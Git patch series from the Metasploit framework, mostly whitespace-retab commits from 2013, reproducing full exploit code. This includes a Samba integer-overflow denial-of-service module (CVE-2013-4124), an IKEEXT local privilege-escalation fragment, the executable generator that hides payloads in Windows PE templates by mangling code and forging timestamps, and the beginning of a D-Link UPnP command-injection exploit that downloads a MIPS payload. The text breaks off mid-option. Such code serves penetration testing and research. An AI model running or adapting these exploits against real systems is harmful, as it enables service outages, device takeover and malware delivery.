diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 1b17678d58..ef9d524fb2 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_PHP, 'Targets' => [ - [ 'Joomla 2.5.x <=2.5.13', {} ] + [ 'Joomla 2.5.x <=2.5.13 / Joomla 3.x <=3.1.4', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Aug 01 2013", From 597f337d1bded35adf1f6aad4bbc351cbeed0d51 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 13:52:10 -0500 Subject: [PATCH 082/160] Retab changes for PR #2298 --- .../dos/samba/read_nttrans_ea_list.rb | 170 +++++++++--------- 1 file changed, 85 insertions(+), 85 deletions(-) diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index 19d4506fe7..a677e816c5 100644 --- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -10,100 +10,100 @@ require 'rex/struct2' require 'rex/proto/smb' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB + include Exploit::Remote::SMB::Authenticated - UTILS = Rex::Proto::SMB::Utils + UTILS = Rex::Proto::SMB::Utils - # Trans2_Parameters - TRANS2_PARAM = Rex::Struct2::CStructTemplate.new( - [ 'uint16v', 'FID', 0 ], # SMB_FILE_FULL_EA_INFORMATION - [ 'uint16v', 'InfoLevel', 1015 ], # SMB_FILE_FULL_EA_INFORMATION - [ 'uint16v', 'Reserved', 0x00 ], - ) + # Trans2_Parameters + TRANS2_PARAM = Rex::Struct2::CStructTemplate.new( + [ 'uint16v', 'FID', 0 ], # SMB_FILE_FULL_EA_INFORMATION + [ 'uint16v', 'InfoLevel', 1015 ], # SMB_FILE_FULL_EA_INFORMATION + [ 'uint16v', 'Reserved', 0x00 ], + ) - FEA_LIST = Rex::Struct2::CStructTemplate.new( - [ 'uint32v', 'NextOffset', 0x00000000], - [ 'uint8', 'Flags', 0x00 ], - [ 'uint8', 'NameLen', 0x07 ], # Length of Name parameter minus trailing '\0' - [ 'uint16v', 'ValueLen', 0x04 ], # Random valuelen with value - [ 'string', 'Name', 7, Rex::Text.rand_text_alpha(6) + "\x00" ], # Random string must end with '\0' - [ 'string', 'Value', nil, "\x00\x00\x00\x00" ] - ) + FEA_LIST = Rex::Struct2::CStructTemplate.new( + [ 'uint32v', 'NextOffset', 0x00000000], + [ 'uint8', 'Flags', 0x00 ], + [ 'uint8', 'NameLen', 0x07 ], # Length of Name parameter minus trailing '\0' + [ 'uint16v', 'ValueLen', 0x04 ], # Random valuelen with value + [ 'string', 'Name', 7, Rex::Text.rand_text_alpha(6) + "\x00" ], # Random string must end with '\0' + [ 'string', 'Value', nil, "\x00\x00\x00\x00" ] + ) - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Samba read_nttrans_ea_list Integer Overflow', - 'Description' => %q{ - Integer overflow in the read_nttrans_ea_list function in nttrans.c - in smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x - before 4.0.8 allows remote attackers to cause a denial of service - (memory consumption) via a malformed packet. - Note: "ea support" option on share must be enabled - }, - 'Author' => - [ 'dz_lnly', ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2013-4124'], - ], - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Samba read_nttrans_ea_list Integer Overflow', + 'Description' => %q{ + Integer overflow in the read_nttrans_ea_list function in nttrans.c + in smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x + before 4.0.8 allows remote attackers to cause a denial of service + (memory consumption) via a malformed packet. + Note: "ea support" option on share must be enabled + }, + 'Author' => + [ 'dz_lnly', ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-4124'], + ], + )) - register_options( - [ - OptString.new('SMBShare', [true, 'Target share', '']), - OptString.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', '1500']), - OptString.new('Tries', [true, 'Number of DOS tries', '40']), - ], self.class) + register_options( + [ + OptString.new('SMBShare', [true, 'Target share', '']), + OptString.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', '1500']), + OptString.new('Tries', [true, 'Number of DOS tries', '40']), + ], self.class) - end + end - def get_fid - ok = self.simple.client.create("/") - return ok['Payload'].v['FileID'] - end - def mk_items_payload - item1 = FEA_LIST.make_struct - item2 = FEA_LIST.make_struct - item3 = FEA_LIST.make_struct # Some padding - item2.v['ValueLen'] = item1.v['ValueLen'] = datastore['MsgLen'].to_i - item2.v['Value'] = item1.v['Value'] = "\x00" * datastore['MsgLen'].to_i - ilen = item1.to_s.length - item1.v['NextOffset'] = ilen - # Wrap offset to 0x00 - item2.v['NextOffset'] = 0xffffffff - ilen + 1 - return item1.to_s + item2.to_s + item3.to_s - end - def send_pkt - fid = get_fid + def get_fid + ok = self.simple.client.create("/") + return ok['Payload'].v['FileID'] + end + def mk_items_payload + item1 = FEA_LIST.make_struct + item2 = FEA_LIST.make_struct + item3 = FEA_LIST.make_struct # Some padding + item2.v['ValueLen'] = item1.v['ValueLen'] = datastore['MsgLen'].to_i + item2.v['Value'] = item1.v['Value'] = "\x00" * datastore['MsgLen'].to_i + ilen = item1.to_s.length + item1.v['NextOffset'] = ilen + # Wrap offset to 0x00 + item2.v['NextOffset'] = 0xffffffff - ilen + 1 + return item1.to_s + item2.to_s + item3.to_s + end + def send_pkt + fid = get_fid - trans = TRANS2_PARAM.make_struct - trans.v['FID'] = fid - data = mk_items_payload - subcmd = 0x08 - self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false) - end - def run - n = datastore['Tries'].to_i; + trans = TRANS2_PARAM.make_struct + trans.v['FID'] = fid + data = mk_items_payload + subcmd = 0x08 + self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false) + end + def run + n = datastore['Tries'].to_i; - n.times do - connect() - smb_login() - self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") + n.times do + connect() + smb_login() + self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") - print_status('Sending malicious package...') - send_pkt + print_status('Sending malicious package...') + send_pkt - begin - self.simple.client.create("") - print_status('Server Responce, DOS unsuccessfull') - return - rescue Timeout::Error - print_good('Server timed out, this is expected') - end - disconnect() - end - end + begin + self.simple.client.create("") + print_status('Server Responce, DOS unsuccessfull') + return + rescue Timeout::Error + print_good('Server timed out, this is expected') + end + disconnect() + end + end end From 9787bb80e775d1cde020457c52411519bbbc81d3 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 5 Sep 2013 19:57:05 +0100 Subject: [PATCH 083/160] Address @jlee-r7's feedback --- modules/exploits/windows/local/ikeext_service.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 6a69e675d4..12e98d47d4 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -201,12 +201,12 @@ class Metasploit3 < Msf::Exploit::Local begin @token = get_imperstoken - rescue ::Exception => e - vprint_error("Failed to get token, Exception: #{e}") - ensure - fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken: #{e}") unless @token + rescue Rex::Post::Meterpreter::RequestError + vprint_error("Error while using get_imperstoken: #{e}") end + fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token + if is_system? fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.") end @@ -291,7 +291,7 @@ class Metasploit3 < Msf::Exploit::Local print_status("Service started...") register_file_for_cleanup(@dll_file_path) end - rescue ::Exception => e + rescue RuntimeError if service_information['Startup'] == 'Manual' register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") From 0d884ebbab1fe1fbf138934cd78371010b74e2f0 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 14:08:14 -0500 Subject: [PATCH 084/160] Retab changes for PR #2278 --- lib/msf/util/exe.rb | 512 ++++++++++++++++++++++---------------------- 1 file changed, 256 insertions(+), 256 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index ed9cc32a79..a6cce6bb1b 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -18,302 +18,302 @@ require 'metasm' require 'digest/sha1' require 'msf/core/exe/segment_injector' - ## - # - # Helper functions common to multiple generators - # - ## + ## + # + # Helper functions common to multiple generators + # + ## - def self.set_template_default(opts, exe = nil, path = nil) - # If no path specified, use the default one. - path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates") + def self.set_template_default(opts, exe = nil, path = nil) + # If no path specified, use the default one. + path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates") - # If there's no default name, we must blow it up. - if not exe - raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!' - end + # If there's no default name, we must blow it up. + if not exe + raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!' + end - # Use defaults only if nothing is specified - opts[:template_path] ||= path - opts[:template] ||= exe + # Use defaults only if nothing is specified + opts[:template_path] ||= path + opts[:template] ||= exe - # Only use the path when the filename contains no separators. - if not opts[:template].include?(File::SEPARATOR) - opts[:template] = File.join(opts[:template_path], opts[:template]) - end + # Only use the path when the filename contains no separators. + if not opts[:template].include?(File::SEPARATOR) + opts[:template] = File.join(opts[:template_path], opts[:template]) + end - # Check if it exists now - return if File.file?(opts[:template]) + # Check if it exists now + return if File.file?(opts[:template]) - # If it failed, try the default... - if opts[:fallback] - default_template = File.join(path, exe) - if File.file?(default_template) - # Perhaps we should warn about falling back to the default? - opts.merge!({ :fellback => default_template }) - opts[:template] = default_template - end - end - end + # If it failed, try the default... + if opts[:fallback] + default_template = File.join(path, exe) + if File.file?(default_template) + # Perhaps we should warn about falling back to the default? + opts.merge!({ :fellback => default_template }) + opts[:template] = default_template + end + end + end - ## - # - # Executable generators - # - ## + ## + # + # Executable generators + # + ## - def self.to_executable(framework, arch, plat, code='', opts={}) - if (arch.index(ARCH_X86)) + def self.to_executable(framework, arch, plat, code='', opts={}) + if (arch.index(ARCH_X86)) - if (plat.index(Msf::Module::Platform::Windows)) - return to_win32pe(framework, code, opts) - end + if (plat.index(Msf::Module::Platform::Windows)) + return to_win32pe(framework, code, opts) + end - if (plat.index(Msf::Module::Platform::Linux)) - return to_linux_x86_elf(framework, code) - end + if (plat.index(Msf::Module::Platform::Linux)) + return to_linux_x86_elf(framework, code) + end - if(plat.index(Msf::Module::Platform::OSX)) - return to_osx_x86_macho(framework, code) - end + if(plat.index(Msf::Module::Platform::OSX)) + return to_osx_x86_macho(framework, code) + end - if(plat.index(Msf::Module::Platform::BSD)) - return to_bsd_x86_elf(framework, code) - end + if(plat.index(Msf::Module::Platform::BSD)) + return to_bsd_x86_elf(framework, code) + end - if(plat.index(Msf::Module::Platform::Solaris)) - return to_solaris_x86_elf(framework, code) - end + if(plat.index(Msf::Module::Platform::Solaris)) + return to_solaris_x86_elf(framework, code) + end - # XXX: Add remaining x86 systems here - end + # XXX: Add remaining x86 systems here + end - if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) ) - if (plat.index(Msf::Module::Platform::Windows)) - return to_win64pe(framework, code, opts) - end + if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) ) + if (plat.index(Msf::Module::Platform::Windows)) + return to_win64pe(framework, code, opts) + end - if (plat.index(Msf::Module::Platform::Linux)) - return to_linux_x64_elf(framework, code, opts) - end + if (plat.index(Msf::Module::Platform::Linux)) + return to_linux_x64_elf(framework, code, opts) + end - if (plat.index(Msf::Module::Platform::OSX)) - return to_osx_x64_macho(framework, code) - end - end + if (plat.index(Msf::Module::Platform::OSX)) + return to_osx_x64_macho(framework, code) + end + end - if(arch.index(ARCH_ARMLE)) - if(plat.index(Msf::Module::Platform::OSX)) - return to_osx_arm_macho(framework, code) - end + if(arch.index(ARCH_ARMLE)) + if(plat.index(Msf::Module::Platform::OSX)) + return to_osx_arm_macho(framework, code) + end - if(plat.index(Msf::Module::Platform::Linux)) - return to_linux_armle_elf(framework, code) - end + if(plat.index(Msf::Module::Platform::Linux)) + return to_linux_armle_elf(framework, code) + end - # XXX: Add remaining ARMLE systems here - end + # XXX: Add remaining ARMLE systems here + end - if(arch.index(ARCH_PPC)) - if(plat.index(Msf::Module::Platform::OSX)) - return to_osx_ppc_macho(framework, code) - end - # XXX: Add PPC OS X and Linux here - end + if(arch.index(ARCH_PPC)) + if(plat.index(Msf::Module::Platform::OSX)) + return to_osx_ppc_macho(framework, code) + end + # XXX: Add PPC OS X and Linux here + end - if(arch.index(ARCH_MIPSLE)) - if(plat.index(Msf::Module::Platform::Linux)) - return to_linux_mipsle_elf(framework, code) - end - # XXX: Add remaining MIPSLE systems here - end + if(arch.index(ARCH_MIPSLE)) + if(plat.index(Msf::Module::Platform::Linux)) + return to_linux_mipsle_elf(framework, code) + end + # XXX: Add remaining MIPSLE systems here + end - if(arch.index(ARCH_MIPSBE)) - if(plat.index(Msf::Module::Platform::Linux)) - return to_linux_mipsbe_elf(framework, code) - end - # XXX: Add remaining MIPSLE systems here - end - nil - end + if(arch.index(ARCH_MIPSBE)) + if(plat.index(Msf::Module::Platform::Linux)) + return to_linux_mipsbe_elf(framework, code) + end + # XXX: Add remaining MIPSLE systems here + end + nil + end - def self.to_win32pe(framework, code, opts={}) + def self.to_win32pe(framework, code, opts={}) - # For backward compatability, this is roughly equivalent to 'exe-small' fmt - if opts[:sub_method] - if opts[:inject] - raise RuntimeError, 'NOTE: using the substitution method means no inject support' - end + # For backward compatability, this is roughly equivalent to 'exe-small' fmt + if opts[:sub_method] + if opts[:inject] + raise RuntimeError, 'NOTE: using the substitution method means no inject support' + end - # use - return self.to_win32pe_exe_sub(framework, code, opts) - end + # use + return self.to_win32pe_exe_sub(framework, code, opts) + end - # Allow the user to specify their own EXE template - set_template_default(opts, "template_x86_windows.exe") + # Allow the user to specify their own EXE template + set_template_default(opts, "template_x86_windows.exe") - # Copy the code to a new RWX segment to allow for self-modifying encoders - payload = win32_rwx_exec(code) + # Copy the code to a new RWX segment to allow for self-modifying encoders + payload = win32_rwx_exec(code) - # Create a new PE object and run through sanity checks - endjunk = true - fsize = File.size(opts[:template]) - pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) - text = nil - sections_end = 0 - pe.sections.each do |sec| - text = sec if sec.name == ".text" - sections_end = sec.size + sec.file_offset if sec.file_offset >= sections_end - endjunk = false if sec.contains_file_offset?(fsize-1) - end - #also check to see if there is a certificate - cert_entry = pe.hdr.opt['DataDirectory'][4] - #if the cert is the only thing past the sections, we can handle. - if cert_entry.v['VirtualAddress'] + cert_entry.v['Size'] >= fsize and sections_end >= cert_entry.v['VirtualAddress'] - endjunk = false - end + # Create a new PE object and run through sanity checks + endjunk = true + fsize = File.size(opts[:template]) + pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) + text = nil + sections_end = 0 + pe.sections.each do |sec| + text = sec if sec.name == ".text" + sections_end = sec.size + sec.file_offset if sec.file_offset >= sections_end + endjunk = false if sec.contains_file_offset?(fsize-1) + end + #also check to see if there is a certificate + cert_entry = pe.hdr.opt['DataDirectory'][4] + #if the cert is the only thing past the sections, we can handle. + if cert_entry.v['VirtualAddress'] + cert_entry.v['Size'] >= fsize and sections_end >= cert_entry.v['VirtualAddress'] + endjunk = false + end - #try to inject code into executable by adding a section without affecting executable behavior - if(opts[:inject]) + #try to inject code into executable by adding a section without affecting executable behavior + if(opts[:inject]) injector = Msf::Exe::SegmentInjector.new({ :payload => code, :template => opts[:template], :arch => :x86 }) exe = injector.generate_pe - return exe - end + return exe + end - if(not text) - raise RuntimeError, "No .text section found in the template" - end + if(not text) + raise RuntimeError, "No .text section found in the template" + end - if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint) - raise RuntimeError, "The .text section does not contain an entry point" - end + if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint) + raise RuntimeError, "The .text section does not contain an entry point" + end - p_length = payload.length + 256 - if(text.size < p_length) - fname = ::File.basename(opts[:template]) - msg = "The .text section for '#{fname}' is too small. " - msg << "Minimum is #{p_length.to_s} bytes, your .text section is #{text.size.to_s} bytes" - raise RuntimeError, msg - end + p_length = payload.length + 256 + if(text.size < p_length) + fname = ::File.basename(opts[:template]) + msg = "The .text section for '#{fname}' is too small. " + msg << "Minimum is #{p_length.to_s} bytes, your .text section is #{text.size.to_s} bytes" + raise RuntimeError, msg + end - # Store some useful offsets - off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint) - off_beg = pe.rva_to_file_offset(text.base_rva) + # Store some useful offsets + off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint) + off_beg = pe.rva_to_file_offset(text.base_rva) - # We need to make sure our injected code doesn't conflict with the - # the data directories stored in .text (import, export, etc) - mines = [] - pe.hdr.opt['DataDirectory'].each do |dir| - next if dir.v['Size'] == 0 - next if not text.contains_rva?( dir.v['VirtualAddress'] ) - mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ] - end + # We need to make sure our injected code doesn't conflict with the + # the data directories stored in .text (import, export, etc) + mines = [] + pe.hdr.opt['DataDirectory'].each do |dir| + next if dir.v['Size'] == 0 + next if not text.contains_rva?( dir.v['VirtualAddress'] ) + mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ] + end - # Break the text segment into contiguous blocks - blocks = [] - bidx = 0 - mines.sort{|a,b| a[0] <=> b[0]}.each do |mine| - bbeg = bidx - bend = mine[0] - if(bbeg != bend) - blocks << [bidx, bend-bidx] - end - bidx = mine[0] + mine[1] - end + # Break the text segment into contiguous blocks + blocks = [] + bidx = 0 + mines.sort{|a,b| a[0] <=> b[0]}.each do |mine| + bbeg = bidx + bend = mine[0] + if(bbeg != bend) + blocks << [bidx, bend-bidx] + end + bidx = mine[0] + mine[1] + end - # Add the ending block - if(bidx < text.size - 1) - blocks << [bidx, text.size - bidx] - end + # Add the ending block + if(bidx < text.size - 1) + blocks << [bidx, text.size - bidx] + end - # Find the largest contiguous block - blocks.sort!{|a,b| b[1]<=>a[1]} - block = blocks[0] + # Find the largest contiguous block + blocks.sort!{|a,b| b[1]<=>a[1]} + block = blocks[0] - # TODO: Allow the entry point in a different block - if(payload.length + 256 > block[1]) - raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})" - end + # TODO: Allow the entry point in a different block + if(payload.length + 256 > block[1]) + raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})" + end - # Make a copy of the entire .text section - data = text.read(0,text.size) + # Make a copy of the entire .text section + data = text.read(0,text.size) - # Pick a random offset to store the payload - poff = rand(block[1] - payload.length - 256) + # Pick a random offset to store the payload + poff = rand(block[1] - payload.length - 256) - # Flip a coin to determine if EP is before or after - eloc = rand(2) - eidx = nil + # Flip a coin to determine if EP is before or after + eloc = rand(2) + eidx = nil - # Pad the entry point with random nops - entry = generate_nops(framework, [ARCH_X86], rand(200)+51) + # Pad the entry point with random nops + entry = generate_nops(framework, [ARCH_X86], rand(200)+51) - # Pick an offset to store the new entry point - if(eloc == 0) # place the entry point before the payload - poff += 256 - eidx = rand(poff-(entry.length + 5)) - else # place the entry pointer after the payload - poff -= 256 - eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length - end + # Pick an offset to store the new entry point + if(eloc == 0) # place the entry point before the payload + poff += 256 + eidx = rand(poff-(entry.length + 5)) + else # place the entry pointer after the payload + poff -= 256 + eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length + end - # Relative jump from the end of the nops to the payload - entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V') + # Relative jump from the end of the nops to the payload + entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V') - # Mangle 25% of the original executable - 1.upto(block[1] / 4) do - data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C") - end + # Mangle 25% of the original executable + 1.upto(block[1] / 4) do + data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C") + end - # Patch the payload and the new entry point into the .text - data[block[0] + poff, payload.length] = payload - data[block[0] + eidx, entry.length] = entry + # Patch the payload and the new entry point into the .text + data[block[0] + poff, payload.length] = payload + data[block[0] + eidx, entry.length] = entry - # Create the modified version of the input executable - exe = '' - File.open(opts[:template], 'rb') { |fd| - exe = fd.read(fd.stat.size) - } + # Create the modified version of the input executable + exe = '' + File.open(opts[:template], 'rb') { |fd| + exe = fd.read(fd.stat.size) + } - exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V") - exe[off_beg, data.length] = data + exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V") + exe[off_beg, data.length] = data - tds = pe.hdr.file.TimeDateStamp - exe[ exe.index([ tds ].pack('V')), 4] = [tds - rand(0x1000000)].pack("V") + tds = pe.hdr.file.TimeDateStamp + exe[ exe.index([ tds ].pack('V')), 4] = [tds - rand(0x1000000)].pack("V") - cks = pe.hdr.opt.CheckSum - if(cks != 0) - exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V") - end + cks = pe.hdr.opt.CheckSum + if(cks != 0) + exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V") + end - pe.close + pe.close - exe - end + exe + end - def self.to_winpe_only(framework, code, opts={}, arch="x86") + def self.to_winpe_only(framework, code, opts={}, arch="x86") - if arch == ARCH_X86_64 - arch = ARCH_X64 - end + if arch == ARCH_X86_64 + arch = ARCH_X64 + end - # Allow the user to specify their own EXE template - set_template_default(opts, "template_"+arch+"_windows.exe") + # Allow the user to specify their own EXE template + set_template_default(opts, "template_"+arch+"_windows.exe") - pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) + pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) - exe = '' - File.open(opts[:template], 'rb') { |fd| - exe = fd.read(fd.stat.size) - } + exe = '' + File.open(opts[:template], 'rb') { |fd| + exe = fd.read(fd.stat.size) + } - sections_header = [] - pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] } + sections_header = [] + pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] } #look for section with entry point @@ -378,7 +378,7 @@ require 'msf/core/exe/segment_injector' # Add a couple random bytes for fun pe << Rex::Text.rand_text(rand(64)+4) - return pe + return pe end def self.exe_sub_method(code,opts ={}) @@ -425,16 +425,16 @@ require 'msf/core/exe/segment_injector' return pe end - def self.to_win32pe_exe_sub(framework, code, opts={}) - # Allow the user to specify their own DLL template - set_template_default(opts, "template_x86_windows.exe") + def self.to_win32pe_exe_sub(framework, code, opts={}) + # Allow the user to specify their own DLL template + set_template_default(opts, "template_x86_windows.exe") opts[:exe_type] = :exe_sub - exe_sub_method(code,opts) - end + exe_sub_method(code,opts) + end - def self.to_win64pe(framework, code, opts={}) - # Allow the user to specify their own EXE template - set_template_default(opts, "template_x64_windows.exe") + def self.to_win64pe(framework, code, opts={}) + # Allow the user to specify their own EXE template + set_template_default(opts, "template_x64_windows.exe") #try to inject code into executable by adding a section without affecting executable behavior if(opts[:inject]) injector = Msf::Exe::SegmentInjector.new({ @@ -447,35 +447,35 @@ require 'msf/core/exe/segment_injector' end opts[:exe_type] = :exe_sub exe_sub_method(code,opts) - end + end - def self.to_win32pe_service(framework, code, opts={}) - # Allow the user to specify their own service EXE template - set_template_default(opts, "template_x86_windows_svc.exe") + def self.to_win32pe_service(framework, code, opts={}) + # Allow the user to specify their own service EXE template + set_template_default(opts, "template_x86_windows_svc.exe") opts[:exe_type] = :service_exe exe_sub_method(code,opts) - end + end - def self.to_win64pe_service(framework, code, opts={}) - # Allow the user to specify their own service EXE template - set_template_default(opts, "template_x64_windows_svc.exe") + def self.to_win64pe_service(framework, code, opts={}) + # Allow the user to specify their own service EXE template + set_template_default(opts, "template_x64_windows_svc.exe") opts[:exe_type] = :service_exe exe_sub_method(code,opts) - end + end - def self.to_win32pe_dll(framework, code, opts={}) - # Allow the user to specify their own DLL template - set_template_default(opts, "template_x86_windows.dll") + def self.to_win32pe_dll(framework, code, opts={}) + # Allow the user to specify their own DLL template + set_template_default(opts, "template_x86_windows.dll") opts[:exe_type] = :dll exe_sub_method(code,opts) - end + end - def self.to_win64pe_dll(framework, code, opts={}) - # Allow the user to specify their own DLL template - set_template_default(opts, "template_x64_windows.dll") + def self.to_win64pe_dll(framework, code, opts={}) + # Allow the user to specify their own DLL template + set_template_default(opts, "template_x64_windows.dll") opts[:exe_type] = :dll exe_sub_method(code,opts) - end + end def self.to_osx_arm_macho(framework, code, opts={}) From f780a41f877e651a20442db34dfa51672b436ede Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 14:12:24 -0500 Subject: [PATCH 085/160] Retab changes for PR #2248 --- .../linux/http/dlink_upnp_exec_noauth.rb | 438 +++++++++--------- .../http/dlink_upnp_exec_noauth_telnetd.rb | 312 ++++++------- 2 files changed, 375 insertions(+), 375 deletions(-) diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 569bbdc9c5..fbbc7d2752 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -8,255 +8,255 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = AverageRanking + Rank = AverageRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HttpServer - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper - include Msf::Auxiliary::CommandShell + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Auxiliary::CommandShell - def initialize(info = {}) - super(update_info(info, - 'Name' => 'D-Link Devices UPnP SOAP Command Execution', - 'Description' => %q{ - Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP - interface. Since it is a blind OS command injection vulnerability, there is no - output for the executed command when using the CMD target. Additionally, a target - to deploy a native mipsel payload, when wget is available on the target device, has - been added. This module has been tested on DIR-865 and DIR-645 devices. - }, - 'Author' => - [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module - 'juan vazquez' # minor help with msf module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'OSVDB', '94924' ], - [ 'BID', '61005' ], - [ 'EDB', '26664' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] - ], - 'DisclosureDate' => 'Jul 05 2013', - 'Privileged' => true, - 'Platform' => ['linux','unix'], - 'Payload' => - { - 'DisableNops' => true, - }, - 'Targets' => - [ - [ 'CMD', #all devices - { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' - } - ], - [ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed - { - 'Arch' => ARCH_MIPSLE, - 'Platform' => 'linux' - } - ], - ], - 'DefaultTarget' => 1 - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Devices UPnP SOAP Command Execution', + 'Description' => %q{ + Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP + interface. Since it is a blind OS command injection vulnerability, there is no + output for the executed command when using the CMD target. Additionally, a target + to deploy a native mipsel payload, when wget is available on the target device, has + been added. This module has been tested on DIR-865 and DIR-645 devices. + }, + 'Author' => + [ + 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '94924' ], + [ 'BID', '61005' ], + [ 'EDB', '26664' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] + ], + 'DisclosureDate' => 'Jul 05 2013', + 'Privileged' => true, + 'Platform' => ['linux','unix'], + 'Payload' => + { + 'DisableNops' => true, + }, + 'Targets' => + [ + [ 'CMD', #all devices + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' + } + ], + [ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed + { + 'Arch' => ARCH_MIPSLE, + 'Platform' => 'linux' + } + ], + ], + 'DefaultTarget' => 1 + )) - register_options( - [ - Opt::RPORT(49152), #port of UPnP SOAP webinterface - OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), - OptString.new('DOWNFILE', [ false, 'Filename to download, (default: 